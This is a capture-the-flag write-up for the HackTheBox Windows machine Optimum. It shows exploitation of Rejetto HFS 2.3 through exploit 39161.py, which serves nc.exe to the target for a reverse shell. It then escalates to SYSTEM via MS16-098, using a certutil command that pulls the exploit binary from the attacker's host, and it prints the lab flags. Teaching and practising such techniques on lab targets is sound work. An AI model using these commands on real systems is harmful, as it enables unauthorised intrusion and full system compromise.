Optimum

HackTheBoxEasyWindows10.10.10.8

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#windows#hfs#rce#public-exploit#searchsploit#certutil#kernel-exploit#ms16-098#windows-exploit-suggester#oscp

TL;DR. The only port, 80, serves an HttpFileServer (HFS) 2.3, a file server with a well-known public RCE (Rejetto HFS 2.3.x). A searchsploit exploit (39161.py), after tweaking IP/port and serving an nc.exe over HTTP, yields a shell as kostas (user). The host is an unpatched Windows Server 2012 R2: windows-exploit-suggester cross-references systeminfo and proposes MS16-098 (RGNOBJ integer overflow). We upload the 41020.exe binary with certutil and run it → NT AUTHORITY\SYSTEM.

Recon

Ping

We start with a ping to confirm the host is up and check the TTL, which hints at the OS (≈64 Linux, ≈128 Windows).

ping -c 1 10.10.10.8

ping to 10.10.10.8: ttl=127 points to Windows

64 bytes from 10.10.10.8: icmp_seq=1 ttl=127 time=112 ms

TTL 127 → Windows: Windows starts the TTL at 128 and each routing hop decrements it, so 127 = 128−1; a hint, not proof (it can be spoofed), confirmed by the service scan.

Port scan

A first full TCP scan (SYN, --min-rate 5000) leaves a single open port, 80:

nmap -sS -n -Pn -p- --min-rate 5000 --open 10.10.10.8

nmap -p-: only 80/tcp open, syn-ack ttl 127

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 127

We run version detection and default scripts (-sCV) against it. Here's the clue that defines the box:

extractPorts, a .zshrc function, boils the -oG file down and leaves the port on the clipboard:

extractPorts scan

extractPorts boils optimum's scan down: IP 10.10.10.8 and open port 80, copied to the clipboard

Extracting information ...
IP Address: 10.10.10.8
Open ports: 80

Ports copied to clipboard

nmap -p80 -sCV 10.10.10.8

nmap -sCV: HttpFileServer httpd 2.3, OS Windows

PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-title: HFS /
|_http-server-header: HFS 2.3
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

The service is HttpFileServer (HFS) 2.3, Rejetto's HTTP file server. The version is the key: HFS 2.3.x carries a very well-known public RCE.

TCP 80 - Web enumeration

Before reaching for the exploit it's worth profiling the web. whatweb and Wappalyzer confirm the server and little else (jQuery 1.4.4, nothing exploitable on its own):

whatweb 10.10.10.8

whatweb: HttpFileServer 2.3, jQuery 1.4.4

http://10.10.10.8 [200 OK] Cookies[HFS_SID], Country[RESERVED][ZZ], HTTPServer[HFS 2.3], HttpFileServer, IP[10.10.10.8], JQuery[1.4.4], Script[text/javascript], Title[HFS /]

whatweb confirms the HTTPServer[HFS 2.3] header and JQuery[1.4.4], nothing else exploitable on its own.

Wappalyzer on the HFS site

Inspecting the source code reveals nothing relevant:

HFS page source, no useful leads

And a route sweep with dirsearch (excluding 403/404) turns up no interesting resources either:

dirsearch -u http://10.10.10.8/ --exclude-status=403,404

dirsearch on 10.10.10.8: nothing relevant

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://10.10.10.8/

[18:32:51] Starting:
[18:34:11] 200 -  576B  - /favicon.ico
Task Completed

The only hit is /favicon.ico: there are no hidden routes to enumerate.

Web enumeration confirms what we already suspected: the vector isn't a hidden route, but HFS's vulnerable version.

Auth as kostas

HFS 2.3 - Remote Command Execution (RCE)

We look for public exploits for that version with searchsploit:

searchsploit HFS 2.3

searchsploit HFS 2.3: several RCEs, including 39161.py

Exploit Title                                                      | Path
-------------------------------------------------------------------|------------------------------
HFS (HTTP File Server) 2.3.x - Remote Command Execution (3)        | windows/remote/49584.py
HFS Http File Server 2.3m Build 300 - Buffer Overflow (PoC)        | multiple/remote/48569.py
Rejetto HTTP File Server (HFS) - Remote Command Execution (Metasp) | windows/remote/34926.rb
Rejetto HTTP File Server (HFS) 2.2/2.3 - Arbitrary File Upload     | multiple/remote/30850.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1)| windows/remote/34668.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)| windows/remote/39161.py
Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Exe | windows/webapps/34852.txt

Among the candidates, the Python windows/remote/39161.py is the one we'll use.

There are several RCEs for Rejetto HFS 2.3.x. We use the Python one, windows/remote/39161.py, and copy it to our working directory:

searchsploit -m windows/remote/39161.py

searchsploit -m copies 39161.py to the current directory

Exploit: Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)
     URL: https://www.exploit-db.com/exploits/39161
    Path: /usr/share/exploitdb/exploits/windows/remote/39161.py
   Codes: CVE-2014-6287, OSVDB-111386
Copied to: /home/krmena/machines/optimum/content/39161.py

The exploit maps to CVE-2014-6287.

A first bare run warns that we must set the local IP and port inside the script:

python2 39161.py

39161.py reminds you to change local IP/port in the script

[.]Something went wrong ..!
        Usage is [.] python exploit.py <Target IP address> <Target Port Number>
        Don't forgot to change the Local IP address and Port number on the script

The PoC itself expects the target IP/port as arguments and reminds you to change the local IP/port inside the script.

We edit the script with our attacker IP and listening port:

nano 39161.py: local IP and port set

One detail isn't just configuration: the exploit's payload downloads and runs nc.exe from an HTTP server of ours. So besides the listener, we must serve nc.exe over HTTP. The full sequence:

# 1) copy nc.exe to the directory and serve it over HTTP
cp $(locate nc.exe | head -n 1) .
python3 -m http.server 80
# 2) listener for the reverse shell
sudo rlwrap nc -nlvp 443
# 3) fire the exploit (sometimes it must be run twice)
python2 39161.py 10.10.10.8 80

the exploit makes the victim download nc.exe and opens the reverse shell as kostas

The HTTP server shows the victim's GET /nc.exe requests, and the shell lands in the listener:

connect to [10.10.16.6] from (UNKNOWN) [10.10.10.8] 49165
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\kostas\Desktop>

The shell lands as kostas. We read the user flag:

type user.txt

type user.txt as kostas

57c7281165e97414344735458b3cd051

Privilege Escalation to SYSTEM

System recon

sudo -l doesn't apply here (Windows); the pattern on a Windows box with no misconfigured services is to look for a kernel exploit. The first step is the exact OS version, from systeminfo:

systeminfo

systeminfo: Windows Server 2012 R2 Standard, 6.3.9600 Build 9600, x64

Host Name:                 OPTIMUM
OS Name:                   Microsoft Windows Server 2012 R2 Standard
OS Version:                6.3.9600 N/A Build 9600
System Type:               x64-based PC
Domain:                    HTB
Hotfix(s):                 31 Hotfix(s) Installed.
                           [01]: KB2959936
                           [02]: KB2896496
                           [03]: KB2919355
                           ...

Key data: Windows Server 2012 R2 Standard, version 6.3.9600 Build 9600, x64 architecture, HTB domain. The hotfix list is short, a sign of a barely patched system.

We save that output to a local file to feed the tool:

systeminfo pasted into windowsInfo.txt

Windows Exploit Suggester → MS16-098

We look up the tool and find it in the AonCyberLabs repo:

Search windows exploit suggester github: AonCyberLabs/Windows-Exploit-Suggester repo

We download it with wget:

wget https://raw.githubusercontent.com/AonCyberLabs/Windows-Exploit-Suggester/refs/heads/master/windows-exploit-suggester.py

wget downloads windows-exploit-suggester.py (68K) from the repository

--2025-10-06 19:21:17--  https://raw.githubusercontent.com/AonCyberLabs/Windows-Exploit-Suggester/refs/heads/master/windows-exploit-suggester.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 2606:50c0:8000::154, ...
Connecting to raw.githubusercontent.com|2606:50c0:8000::154|:443 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 69175 (68K) [text/plain]
Saving to: 'windows-exploit-suggester.py'

2025-10-06 19:21:17 (9.00 MB/s) - 'windows-exploit-suggester.py' saved [69175/69175]

windows-exploit-suggester cross-references systeminfo with a database of known exploits. First download that vulnerability database with -u, which generates an .xls:

python2 windows-exploit-suggester.py -u
ls -l *-mssb.xls

python2 windows-exploit-suggester.py -u generates the mssb.xls vulnerability database

[*] initiating winsploit version 3.3 ...
[+] writing to file 2025-10-08-mssb.xls
[*] done

$ ls -l 2025-10-08-mssb.xls
-rw-r--r-- 1 root root 2093862 Oct  8 17:14 2025-10-08-mssb.xls

Then run it against our file, pointing at the database with --database:

python2 windows-exploit-suggester.py --database 2025-10-06-mssb.xls --systeminfo windowsInfo.txt

windows-exploit-suggester identifies Windows 2012 R2 64-bit and suggests MS16-098 (41020)

[*] comparing the 32 hotfix(es) against the 266 potential bulletins(s) with a database of 137 known exploits
[*] there are now 246 remaining vulns
[+] windows version identified as 'Windows 2012 R2 64-bit'
[E] MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important
[E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important
        https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098)
[M] MS16-075: Security Update for Windows SMB Server (3164038) - Important

The version is identified as Windows 2012 R2 64-bit and among the bulletins MS16-098 stands out with its exploit 41020.

Among the candidates, MS16-098 stands out, the 'RGNOBJ' Integer Overflow (exploit 41020 on exploit-db), a kernel-mode driver flaw ideal for this build.

Exploiting MS16-098 (41020.exe)

We download the precompiled exploit binary and stage it for transfer:

searchsploit -m of exploit 41020 (MS16-098)

41020.exe moved to the working directory

We serve it over HTTP from the attacker and download it on the victim with certutil.exe (a living-off-the-land binary that fetches files), then run it:

certutil.exe -f -urlcache -split http://10.10.16.6/41020.exe 41020.exe
41020.exe
whoami
type C:\Users\Administrator\Desktop\root.txt

$certutil downloads 41020.exe; after running it, whoami returns nt authority\system and root.txt is read$

C:\Users\kostas\Desktop>whoami
nt authority\system

C:\Users\kostas\Desktop>type C:\Users\Administrator\Desktop\root.txt
9f273dbed53873976f6d7e17ab5cf2d0

The exploit elevates the process to NT AUTHORITY\SYSTEM, full control of the box.

Attack chain

nmap (80 HttpFileServer 2.3)
  └─> searchsploit HFS 2.3 → 39161.py (Rejetto HFS 2.3.x RCE)
        └─> edit IP/port + serve nc.exe over HTTP → reverse shell as kostas + user.txt
              └─> systeminfo: Windows Server 2012 R2 6.3.9600 (unpatched)
                    └─> windows-exploit-suggester → MS16-098 (41020.exe)
                          └─> certutil downloads 41020.exe → NT AUTHORITY\SYSTEM + root.txt

Lessons learned

The service version is half the box. Once nmap -sCV revealed HttpFileServer 2.3, the path was set: a specific version of known software almost always has a public exploit. Web enumeration (whatweb, source, dirsearch) served to rule routes out, not to find the vector.
Read the exploit before firing it. 39161.py doesn't work "as-is": you must set IP/port and, crucially, understand it downloads nc.exe from your own HTTP server. Running a PoC blindly usually fails; reading it saves time.
systeminfo + Windows Exploit Suggester is the standard privesc flow on unpatched Windows. The version and hotfix list map directly to an MS bulletin and its exploit.
certutil is Windows' wget. A living-off-the-land binary present by default that downloads files without uploading extra tooling: very handy to transfer the final exploit.
A kernel exploit depends on the build. MS16-098 targets Windows 8.1/2012 R2 x64; confirming OS Version and architecture before picking the binary avoids crashes and failed attempts.

Command cheatsheet 13 commands